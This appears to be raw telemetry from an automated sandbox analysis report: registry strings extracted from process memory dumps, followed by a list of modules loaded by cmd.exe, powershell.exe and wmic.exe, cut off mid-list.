00000000-00002148.00000001.136340.38990000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}0" in Source: 00000000-00002148.00000001.136340.38990000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002148.00000001.136340.38990000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00002148.00000001.136340.38990000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002148.00000001.136340.52E30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002148.00000001.136340.52E30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002148.00000001.136340.54885000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B" in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0b" in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002684.00000000.136665.61DC0000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00002684.00000001.136956.071F8000.00000002.mdmp "HKLM\" in Source: 00000000-00002684.00000001.136956.071F8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00002684.00000001.136956.071F8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002684.00000001.136956.071F8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00002684.00000001.136956.071F8000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002684.00000001.136956.47860000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B" in Source: 00000000-00002684.00000001.136956.47890000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0b" in Source: 00000000-00002684.00000001.136956.47890000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00002684.00000001.136956.47890000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002684.00000001.136956.61DC0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002684.00000001.136956.61DC0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00002684.00000001.136956.63820000.00000004.mdmp "hine\Software\Classes\WOW64" in Source: 00000000-00002940.00000000.137222.737EC000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00002940.00000000.137222.75F20000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00002940.00000000.137222.75F20000.00000002.mdmp "SOFTWARE\Microsoft\Wbem\CIMOM" in Source: 00000000-00002940.00000000.137222.EAC2E000.00000002.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B0-000000000046}" in Source: 00000000-00003236.00000000.134666.03F60000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003236.00000000.134666.03F60000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003236.00000000.134666.03F60000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provide" in Source: 00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00003236.00000001.136587.03F60000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B0-000000000046}" in Source: 00000000-00003236.00000001.136587.03F60000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003236.00000001.136587.03F60000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003236.00000001.136587.03F60000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00003236.00000001.136587.1FD80000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00003236.00000001.136587.1FD80000.00000004.mdmp "sembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003236.00000001.136587.1FD80000.00000004.mdmp "To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003236.00000001.136587.1FD80000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00003236.00000001.136587.1FE19000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B0-000000000046}" in Source: 00000000-00003236.00000002.137650.03F60000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003236.00000002.137650.03F60000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003236.00000002.137650.03F60000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00003236.00000002.137650.1FD80000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00003236.00000002.137650.1FD80000.00000004.mdmp "sembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003236.00000002.137650.1FD80000.00000004.mdmp "To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003236.00000002.137650.1FD80000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006840.00000000.134222.3A140000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006840.00000000.134222.3A140000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006840.00000000.134222.54320000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006840.00000001.134325.3A140000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006840.00000001.134325.3A140000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00006840.00000001.134325.54320000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006840.00000001.134325.54320000.00000004.mdmp "Registry\Machine\Software\Classes\ExplorerCLSIDFlags\{66742402-F9B9-11D1-A202-0000F81FEDEE}" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\Instance" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\OverrideFileSystemProperties" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Registry\Machine\Software\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "Registry\Machine\Software\Classes\SystemFil" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\C" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "\Software\C@" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006840.00000001.134325.55FB0000.00000004.mdmp4a:T2dd8,"cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff91a290000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff93e910000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff93ee70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff91a290000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff93e910000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff93ec20000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff93bbe0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff93bbe0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff93bbe0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff928270000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff93d470000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff93b230000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff9335a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff90db90000 "powershell.exe" loaded module "USER32.DLL" at base 7ff93cd50000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff928d20000 "powershell.exe" loaded module "NTDLL" at base 7ff93ee70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff93d0c0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff93c7e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff90c590000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff93c630000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff93d0c0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff93c3a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff90b920000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff90aea0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff917f20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff93a600000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff93bb60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff908e30000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff93d0c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff93d0c0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff93ee70000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff93cf80000 "powershell.exe" loaded module "SHELL32.DLL" at base 1ea54720000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff925560000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff93c140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff908cc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9335a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff908b50000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff922d40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff93c140000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff93be50000 "powershell.exe" loaded module "KERNEL32" at base 7ff93e910000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\POC2MJM8.DLL" at base 7ff917ed0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff917c50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff9082a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff908160000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff917bf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff9077f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff907480000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff93be50000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff907330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff9172b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff907250000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff917260000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff932f80000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff93b0c0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff93a220000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff939800000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff907170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff93e910000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff93b0f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff93ec20000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff93d0c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff906f30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff922770000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff937650000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ff925d90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 1ea54720000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff930a00000 "powershell.exe" loaded module "MSISO.DLL" at base 7ff928e00000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff93b270000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff93ad20000 "powershell.exe" loaded module "SHELL32.DLL" at base 2281e560000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff906460000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ff9062f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff9060b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF5AC9168#\6266E450A9FD72D28C585220DE1F4515\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.CIMCMDLETS.NI.DLL" at base 7ff906020000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ff905f70000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ff93cee0000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ff927c60000 "powershell.exe" loaded module "MI.DLL" at base 7ff9337e0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ff933750000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff931880000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff930100000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff92e460000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ff93e910000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ff93bbe0000 "powershell.exe" loaded module "ADVAPI32" at base 7ff93ec20000 "powershell.exe" loaded module "OLEAUT32" at base 7ff93c3a0000 "powershell.exe" loaded module "SHELL32.DLL" at base 16753030000 "powershell.exe" loaded module "SHELL32.DLL" at base 23961fc0000 "wmic.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff91a290000 "wmic.exe" loaded module "RPCRT4.DLL" at base 7ff93c7e0000 "wmic.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff93bbe0000 "wmic.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff931880000 "wmic.exe" loaded module "SSPICLI.DLL" at base 7ff93b0c0000 "wmic.exe" loaded module "KERNEL32.DLL" at base 7ff93e910000 "wmic.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ff92ccc0000 "wmic.exe" loaded module "USER32.DLL" at base 7ff93cd50000 "wmic.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff93bbe0000 "wmic.exe" loaded module "MSISO.DLL" at base 